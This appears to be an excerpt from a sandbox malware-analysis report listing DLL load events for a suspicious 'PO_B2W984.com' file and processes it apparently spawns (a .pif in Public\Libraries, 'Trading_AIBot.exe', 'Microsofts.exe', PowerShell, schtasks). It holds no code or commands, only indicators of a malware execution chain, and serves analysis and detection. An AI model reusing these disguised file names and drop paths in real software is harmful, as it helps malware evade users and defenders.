Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: winhttpcom.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ??????????.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ???.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ???.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ???.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ?.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ?.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ????.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ???e???????????.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ???e???????????.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ?.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ?.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ?.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ?.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: tquery.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: spp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: spp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: spp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: sppwmi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: sppcext.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: winscard.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO_B2W984.com	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
